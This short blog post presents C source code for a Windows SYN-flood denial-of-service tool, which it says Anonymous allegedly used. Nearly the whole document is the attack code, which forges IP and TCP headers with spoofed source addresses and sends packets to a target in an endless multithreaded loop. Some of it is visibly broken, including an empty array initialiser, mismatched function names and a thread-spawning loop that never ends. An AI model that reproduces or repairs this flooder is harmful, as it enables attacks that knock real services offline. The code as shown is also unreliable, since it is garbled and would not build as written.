Distributed Denial of Services (DDoS) is not a new concept and has been an effective way to get attention. DDoS is simple to orchestrate and rather difficult to defend against.

I came across the code which allegedly has been used by Anonymous to carry out some attacks on their targets.The code itself is straightforward, generating the desired effect at will without the need to control a large number of systems.This is the DDOS attack source code in c programming language:

#include "stdafx.h"
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib,"WS2_32.LIB")

typedef struct tag_ip_Header//ip header
{
unsigned char h_verlen;//4 bit header lenth,and 4 bit IP version.
unsigned char tos;//8 bit
unsigned short total_len;//16 bit total lenth.
unsigned short ident;//16 bit symbol
unsigned short frag_and_flags;//3 bit flag(such as SYN,ACK)
unsigned char ttl;//8 bit ttl
unsigned char proto;//8 bit protocol
unsigned short checksum;//ip header chechsum
unsigned int SourceIP;//Spoofed IP address
unsigned int DestIP;//Attack ip address
}IPHEADER;

typedef struct tag_tcp_Header
{
USHORT th_sport;//Spoofed port.
USHORT th_dport;//Attack port.
unsigned int th_seq;//32bit sequence number .
unsigned int th_ack;//32bit acknowledge number.
unsigned char th_lenres;//4 bit header lenth,6 bit reserved words.
unsigned char th_flag;//6 bit flag
USHORT th_win;//16 bit window size
USHORT th_sum;//16 bit checksum
USHORT th_urp;//
}TCPHEADER;

typedef struct tag_tsd_Header
{
unsigned long saddr;//Spoofed address.
unsigned long daddr;//Attack address.
char mbz;//
char ptcl;//Protocol type.
unsigned short tcpl;//TCP length.
}TSDHEADER;

DWORD WINAPI Start(void);
HANDLE hFind[10];

//calculate checksum.

USHORT checksum(USHORT *buffer,int size)
{
unsigned long check=0;
while(size>1)
{
check+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
check += *(USHORT*)buffer;
}
check = (check >>16) + (check & 0xffff);
check += (check >>16);
return (USHORT)(~check);
}
//Attack thread.
DWORD WINAPI Statr(void)
{
SOCKET sock;
WSADATA WSAData;
SOCKADDR_IN syn_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
TSDHEADER psdHeader;
const char *addr = "127.0.0.1";//Attack ip address.
int port = 135;//Attack socket.
if(WSAStartup(MAKEWORD(2,2),&WSAData))
{
return false;
}
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
return false;
}
BOOL flag=true;
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)
{
return false;
}
int Time =888;
if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR)
{
return false;
}
syn_in.sin_family = AF_INET;
syn_in.sin_port = htons(port);
syn_in.sin_addr.S_un.S_addr = inet_addr(addr);
while(TRUE)
{
//Fill IP header .
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=(unsigned char)GetTickCount()%514+620;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.SourceIP=htonl(GetTickCount()*1986);
ipHeader.DestIP=inet_addr(addr);
//Fill TCP header .

int SourcePort =GetTickCount()*1986%514;
tcpHeader.th_dport=htons(port);
tcpHeader.th_sport=htons(SourcePort);
tcpHeader.th_seq=htonl(0x12345678);
tcpHeader.th_ack=0;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(620);
tcpHeader.th_urp=0;
tcpHeader.th_sum=0;
//Fill TCP pseudo-header to calculate the checksum of the TCP header.
psdHeader.saddr=ipHeader.SourceIP;
psdHeader.daddr=ipHeader.DestIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));

 

//Calculate the checksum.

char SendBuff[100]=;
memcpy(SendBuff, &psdHeader, sizeof(psdHeader));
memcpy(SendBuff+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT *)SendBuff,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(SendBuff, &ipHeader, sizeof(ipHeader));
memcpy(SendBuff+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));

//Send data packets.

int Syn=sendto(sock, SendBuff, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&syn_in, sizeof(syn_in));
if(Syn==SOCKET_ERROR)
{
return false;
}
}
closesocket(sock);
WSACleanup();
return true;
}

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{ //Start threads,10,you can change the number.
for(int i=0;i<10;i++)
{
hFind[i-1]=createThread(NULL,0,(LPTHREAD_START_ROUTINE)Statr,0,0,NULL);
i--;
}
return 0;
}



This address is http://www.computerites.com/web-design-skills/2012/12/the-ddos-attacks-source-code-in-c-programming-language-592.html